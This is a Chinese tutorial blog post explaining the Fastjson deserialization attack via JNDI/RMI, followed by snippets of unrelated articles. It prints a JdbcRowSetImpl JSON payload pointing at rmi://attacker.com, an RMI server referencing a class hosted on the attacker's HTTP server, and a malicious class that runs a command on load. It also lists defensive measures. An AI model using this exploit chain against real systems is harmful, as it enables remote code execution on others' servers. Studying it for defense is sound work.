当前位置: 首页 > article >正文

【渗透测试】Fastjson 反序列化漏洞原理(二)

目录

  • 反序列化漏洞结合 RMI 攻击详解
    • 一、RMI 和 JNDI 的基础知识
      • (1) RMI 简介
      • (2) JNDI 简介
    • 二、漏洞利用的核心原理
      • 1. 构造恶意 JSON 数据
      • 2. 设置恶意 RMI 服务
      • 3. 加载并执行恶意代码
    • 三、具体利用过程
      • 环境准备
      • 攻击步骤
        • 1. 构造恶意 JSON 数据
        • 2. 设置恶意 RMI 服务
        • 3. 部署恶意类
        • 4. 触发漏洞
    • 四、防御措施
      • (1) 升级 JDK 版本
      • (2) 限制 JNDI 查询
      • (3) 修复反序列化漏洞
      • (4) 网络隔离
      • (5) 监控和日志

反序列化漏洞结合 RMI 攻击详解

反序列化漏洞结合 RMI(Remote Method Invocation,远程方法调用)是一种经典的攻击方式,尤其是在 Java 生态系统中。通过这种方式,攻击者可以利用目标应用中的反序列化漏洞触发 JNDI 注入,并借助 RMI 服务加载远程恶意代码,最终实现远程代码执行(RCE)。以下是详细的原理和利用过程:


一、RMI 和 JNDI 的基础知识

(1) RMI 简介

RMI(Remote Method Invocation,远程方法调用)是 Java 提供的一种机制,用于在分布式系统中调用远程对象的方法。RMI 使用 Java 对象序列化和反序列化来传递数据。

  • 客户端通过 RMI 接口调用远程服务器上的方法。
  • 远程对象的引用可以通过 RMI 注册表(Registry)获取。

(2) JNDI 简介

JNDI(Java Naming and Directory Interface)是 Java 提供的一种目录服务接口,允许应用程序查找和访问命名资源(如数据库连接、LDAP 服务、RMI 服务等)。

  • 攻击者可以利用 JNDI 的动态加载特性,通过指定一个恶意的 RMI URL,让目标应用从攻击者控制的服务器加载恶意代码。

二、漏洞利用的核心原理

当目标应用存在反序列化漏洞时,攻击者可以通过以下步骤结合 RMI 实现远程代码执行:

1. 构造恶意 JSON 数据

  • 利用 Fastjson 等库的反序列化漏洞,注入恶意类并触发 JNDI 查询。
  • 恶意类通常会包含一个 javax.naming.InitialContext 或类似逻辑,用于发起 JNDI 请求。

2. 设置恶意 RMI 服务

  • 攻击者搭建一个恶意的 RMI 服务,该服务返回一个指向恶意代码的引用。
  • 当目标应用发起 JNDI 查询时,会从 RMI 服务加载恶意对象(即攻击者创建的类)。

3. 加载并执行恶意代码

  • 目标应用从 RMI 服务加载恶意对象后,会触发其反序列化操作。
  • 如果恶意对象中包含可执行的代码(如 Runtime.exec()),则会执行攻击者的命令。

三、具体利用过程

环境准备

  • 攻击者
    • A 搭建一个恶意 RMI 服务,并提供一个恶意的 Java 类文件 B。
  • 目标应用
    • 存在反序列化漏洞(如 Fastjson 漏洞),并且允许 JNDI 查询。

攻击步骤

1. 构造恶意 JSON 数据

攻击者通过分析目标应用的反序列化漏洞,构造一个恶意 JSON 数据。例如:

{"@type": "com.sun.rowset.JdbcRowSetImpl",   "dataSourceName": "rmi://attacker.com:1099/evil","autoCommit": true
}
  • @type:指定了 com.sun.rowset.JdbcRowSetImpl 类。
  • dataSourceName:设置为一个恶意的 RMI URL (rmi://attacker.com:1099/evil)。
  • 当目标应用解析这个 JSON 数据时,会触发 JNDI 查询。
2. 设置恶意 RMI 服务

攻击者使用工具(如 ysoserial)创建一个恶意的 RMI 服务。以下是示例代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) throws Exception {// 创建一个 Reference 对象,指向恶意类Reference ref = new Reference("EvilClass", "EvilClass", "http://attacker.com/");// 将 Reference 包装为 ReferenceWrapperReferenceWrapper wrapper = new ReferenceWrapper(ref);// 启动 RMI 注册表Registry registry = LocateRegistry.createRegistry(1099);registry.bind("evil", wrapper);System.out.println("RMI server is running...");}
}
  • Reference 指向了一个恶意类 EvilClass,该类托管在攻击者的 HTTP 服务器上。
  • RMI 服务绑定了一个名为 evil 的对象。
3. 部署恶意类

攻击者将恶意类 EvilClass.class 托管在 HTTP 服务器上,内容如下:

public class EvilClass {static {try {Runtime.getRuntime().exec("calc.exe"); // 执行任意命令} catch (Exception e) {e.printStackTrace();}}
}
  • 这个类会在加载时执行静态代码块中的命令(如弹出计算器)。
4. 触发漏洞

当目标应用解析恶意 JSON 数据时,会触发以下流程:

  • 解析 @type 并加载 com.sun.rowset.JdbcRowSetImpl 类。
  • 调用 JdbcRowSetImplsetDataSourceName() 方法,设置 dataSourceNamermi://attacker.com:1099/evil
  • 触发 JNDI 查询,目标应用连接到攻击者的 RMI 服务。
  • RMI 服务返回恶意的 Reference 对象,目标应用从 HTTP 服务器下载并加载 EvilClass
  • 加载 EvilClass 时,执行静态代码块中的命令。

四、防御措施

为了防范这种攻击,可以采取以下措施:

(1) 升级 JDK 版本

在 JDK 8u121 及更高版本中,默认禁用了通过 JNDI 动态加载远程代码的功能。
升级到最新版本的 JDK 可以显著降低风险。

(2) 限制 JNDI 查询

配置 JVM 参数,限制 JNDI 查询的协议。例如:

-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false

(3) 修复反序列化漏洞

  • 升级 Fastjson 或其他存在反序列化漏洞的库到最新版本。
  • 禁用自动类型解析,或使用白名单机制限制可加载的类。

(4) 网络隔离

限制目标应用对外部网络的访问,避免其连接到恶意的 RMI 或 HTTP 服务。

(5) 监控和日志

监控异常的 JNDI 查询和 RMI 请求,及时发现潜在的攻击行为。


by 久违

相关文章:

【渗透测试】Fastjson 反序列化漏洞原理(二)

目录 反序列化漏洞结合 RMI 攻击详解一、RMI 和 JNDI 的基础知识(1) RMI 简介(2) JNDI 简介 二、漏洞利用的核心原理1. 构造恶意 JSON 数据2. 设置恶意 RMI 服务3. 加载并执行恶意代码 三、具体利用过程环境准备攻击步骤1. 构造恶意 JSON 数据2. 设置恶意 RMI 服务3. 部署恶意类…...

阿里云国际站代理商:物联网设备怎样就近接入计算节点?

配置边缘计算实例 登录边缘计算控制台,找到已创建的边缘实例,点击实例名称后的“查看”。 分配OPC UA驱动到边缘实例中,选择OPCUA驱动,点击“设备列表”后的“驱动配置”,在弹出对话框中点击“添加通道”,…...

目录遍历漏洞复现

1.在fofa中输入语法,查询目录遍历 body"SKControlKLForJson.ashx" 查询结果为: 2.寻找目录遍历漏洞,访问网站: 3.我们可以app目录中下载文件等等 4.我们还可以访问其他目录的一些东西...

Java高频面试之集合-18

hello啊,各位观众姥爷们!!!本baby今天来报道了!哈哈哈哈哈嗝🐶 面试官:HashMap 是线程安全的吗?多线程下会有什么问题? HashMap 的线程安全性分析 HashMap 不是线程安全…...

清晰易懂的 C 语言开发环境彻底卸载与清理教程

一、卸载前的关键理解 C 语言本身是编程语言,无法直接“卸载”,但开发环境通常包含: 编译器(如 GCC、Clang)构建工具(如 Make、CMake)IDE 集成(如 Visual Studio、Code::Blocks&am…...

系统思考—看见未来

感谢上海财经大学终身教育学院的持续邀请!每个月,都会带着不同的思维火花,走进财大与学员们一起探索系统思考的奥秘。 这次为宜宾市的干部们带来了一场深刻的学习体验。通过系统思考,帮助大家从整体视角去发现问题、分析问题、解…...

嵌入式单片机程序的映像文件解读

映像文件类型 单片机下载程序的映像文件是包含了可执行代码、数据等信息,用于将程序烧录到单片机中的文件。常见的映像文件种类如下: 十六进制文件(Hex 文件) 格式特点:Hex 文件是一种文本格式的文件,以 ASCII 字符形式存储数据。它由一系列的记录组成,每条记录包含一个…...

保姆级教程搭建企业级智能体+私有知识库,Dify+ollama,Linux版

介绍 目前,AI Agent智能体已经被许多公司广泛应用,同时智能体借助私有知识库的加成,使原来知识面并不特别充分的大模型更聪明。如今特别是在医疗,医药,政企等数据保密程度高的行业,部署自己的私有知识库更…...

记一次线上程序宕机问题分析【写 GC 日志导致进程挂起】

1. 背景 运维侧持续反馈了几次线上业务程序 A 出现宕机告警的信息,重启后一段时间后又出现宕机,这里针对最后一次告警进行深入排查和分析。 首先这一次故障出现在 2024-03-14 04:18:23,和以往的宕机故障略有不同,以往的现象是切…...

position embedding

文章目录 1. 四种position embedding2. pytorch 源码[后续整理] 【因比较忙,后续整理】 1. 四种position embedding Position Embedding 1. Transformer 1.1 1d absolute 1.2 sin/cos constant 1.3 2. Vision Transformer 2.1 1d absolute 2.2 trainable 3. Swin T…...

【leetcode hot 100 739】每日温度

解法一&#xff1a;暴力解法 class Solution {public int[] dailyTemperatures(int[] temperatures) {int ntemperatures.length; // 指向要找下一个更高温度的地方int[] result new int[n];for(int left0;left<n;left){int rightleft1; // 指向正在找最高温度的地方wh…...

netplan是如何操控systemd-networkd的? 笔记250324

netplan是如何操控systemd-networkd的? netplan通过以下方式操控systemd-networkd&#xff1a; 工作原理&#xff1a;netplan读取位于/etc/netplan/目录下的YAML格式的配置文件&#xff0c;这些配置文件描述了网络接口的配置。netplan会将这些配置文件解析并转换为systemd-ne…...

Cookie、Session 与 Token:核心区别与应用场景解析

目录 引言 基础概念解析&#xff1a;三大身份验证技术详解 Cookie&#xff1a;浏览器中的"身份证" Session&#xff1a;服务器记忆的"对话" Token&#xff1a;加密的"通行证" 三种技术的深度对比分析 存储位置与数据流向 安全性全面对比…...

结合DrRacket学习《如何设计程序,第二版》

如何设计程序语言 DrRacket用于学习程序语言和设计程序语言&#xff0c;如何设计程序手册&#xff1a;How to Design Programs 如何设计程序&#xff0c;第二版&#xff1a;How to Design Programs, Second Edition 系统程序设计 设计师需遵循一系列严谨且系统的步骤&#…...

状态空间模型解析 (State-Space Model, SS)

一、文章摘要 状态空间模型&#xff08;State-Space Model, SS&#xff09;是一种广泛应用于控制系统、信号处理和系统建模的数学表示方式。MATLAB 提供的 ss 类用于描述线性时不变&#xff08;LTI&#xff09;系统的状态空间表示。本类实现了 LTI 系统的构造、属性设置、变换…...

zabbix添加IIS网站计数器(并发连接数)

0. Zabbix Agent 配置 PerfCounter = iis_Current_Connections,"\Web Service(_Total)\Current Connections",30 1.在被监控主机,powershell输入perfmon.msc 2.点击添加按钮 3.在下拉菜单中点击小箭头...

uniapp处理流式请求

在uniapp里面处理流式请求相对于web端来说有点麻烦&#xff0c;下面我将讲述几种处理流式请求的方式。 1.websocket WebSocket 是处理实时数据流的最佳选择之一&#xff0c;UniApp 提供了原生的 WebSocket 支持&#xff1a; <template><view class"container&…...

代码随想录算法训练营第四十一天|买卖股票专题:121. 买卖股票的最佳时机、122.买卖股票的最佳时机II、123.买卖股票的最佳时机III

动规五部曲牢记于心 1、确定好dp[j]数组&#xff0c;以及下标含义 2、推导出dp[j]公式 3、初始化&#xff0c;关键dp[0][0]、dp[0][1]&#xff0c;第i天&#xff0c;后面的01表示状态&#xff1a;持有、不持有 4、确定遍历顺序&#xff1a; 如果求组合问题&#xff0c;不考虑排…...

AI小白的第七天:必要的数学知识(概率)

概率 Probability 1. 概率的定义 概率是一个介于 0 和 1 之间的数&#xff0c;表示某个事件发生的可能性&#xff1a; 0&#xff1a;事件不可能发生。1&#xff1a;事件必然发生。0 到 1 之间&#xff1a;事件发生的可能性大小。 例如&#xff0c;掷一枚公平的硬币&#xf…...

[Windows] 图吧工具箱

[Windows] 图吧工具箱 链接&#xff1a;https://pan.xunlei.com/s/VOMCXYDix3pvwdkU7w7bfVsDA1?pwdk8v5# DIY爱好者的必备工具...

Docker镜像迁移方案

Docker镜像迁移方案 文章目录 Docker镜像迁移方案一&#xff1a;背景二&#xff1a;操作方式三&#xff1a;异常原因参考&#xff1a; 一&#xff1a;背景 比如机器上已经有先有的容器&#xff0c;但是docker pull的时候是失败的二&#xff1a;操作方式 1、停止正在运行的容器…...

1264. 动态求连续区间和-acwing -树状数组

原题链接&#xff1a;1264. 动态求连续区间和 - AcWing题库 给定 n 个数组成的一个数列&#xff0c;规定有两种操作&#xff0c;一是修改某个元素&#xff0c;二是求子数列 [a,b] 的连续和。 输入格式 第一行包含两个整数 n 和m&#xff0c;分别表示数的个数和操作次数。 第…...

三分钟读懂微服务

一、什么是微服务 微服务&#xff0c;简单来说&#xff0c;就是把一个庞大复杂的软件系统&#xff0c;拆分成一个个小型的、独立的服务模块。打个比方&#xff0c;一个大型商场就如同传统的单体架构软件系统&#xff0c;里面所有的店铺、设施都紧密关联在一起。而微服务架构下…...

【AIGC】图片变视频 - SD ComfyUI视频生成

效果图 完整过程 SD ComfyUI 下载 下载 https://pan.quark.cn/s/64b808baa960 解压密码&#xff1a;bilibili-秋葉aaaki 完整 https://www.bilibili.com/video/BV1Ew411776J/ SD ComfyUI 安装 1.解压 2.将controlnet内部文件复制到 ComfyUI-aki-v1.6\ComfyUI\models\control…...

JVM详解(包括JVM内存模型与GC垃圾回收)

&#x1f4d6;前言&#xff1a; 学会使用Java对于一个程序员是远远不够的。Java语法的掌握只是一部分&#xff0c;另一部分就是需要掌握Java内部的工作原理&#xff0c;从编译到运行&#xff0c;到底是谁在帮我们完成工作的&#xff1f; 接下来着重对Java虚拟机&#xff0c;也就…...

cocos creator 笔记-路边花草

版本&#xff1a;3.8.5 实现目标&#xff1a;给3d道路生成路边景观花草 在场景下创建一个节点&#xff0c;我这里种植两种花草模型&#xff0c;兰花和菊花&#xff0c;所以分别在节点下另创建两个节点&#xff0c;为了静态合批。 1.将花草模型分别拖入场景中&#xff0c;制作…...

在shell脚本内部获取该脚本所在目录的绝对路径

目录 需求描述 方法一&#xff1a;使用 dirname 和 readlink 命令 方法二&#xff1a;使用 BASH_SOURCE 变量 方法三&#xff1a;仅使用纯 Bash 实现 需求描述 工作中经常有这样情况&#xff0c;需要在脚本内部获取该脚本自己所在目录的绝对路径。 假如有一个脚本/a/b/c/…...

Qt 线程类

线程类 这些类与线程应用程序相关。 Concurrent Filter and Filter-Reduce 并行地从序列中选择值并组合它们 Concurrent Map and Map-Reduce 并行地从序列中转换值并组合它们 Concurrent Run 在单独线程中运行任务的简单方法 Concurrent Task 在独立线程中运行任务的可…...

Langchain中的表格解析:RAG 和表格的爱恨情仇

实现 RAG(Retrieval-Augmented Generation)是一个挑战,尤其是在有效解析和理解非结构化文档中的表格时。这在处理扫描文档或图像格式的文档时尤为困难。这些挑战至少包括以下三个方面: 1.表格的“叛逆期”:不准确的解析可能会破坏表格结构: 表格在文档里就像个叛逆的青少…...

神奇的闹钟(算法题)

神奇的闹钟 题目 原题 小蓝发现了一个神奇的闹钟&#xff0c;从纪元时间&#xff08;19701970 年 11 月 11 日 00&#xff1a;00&#xff1a;0000&#xff1a;00&#xff1a;00&#xff09;开始&#xff0c;每经过 xx 分钟&#xff0c;这个闹钟便会触发一次闹铃 (纪元时间也会…...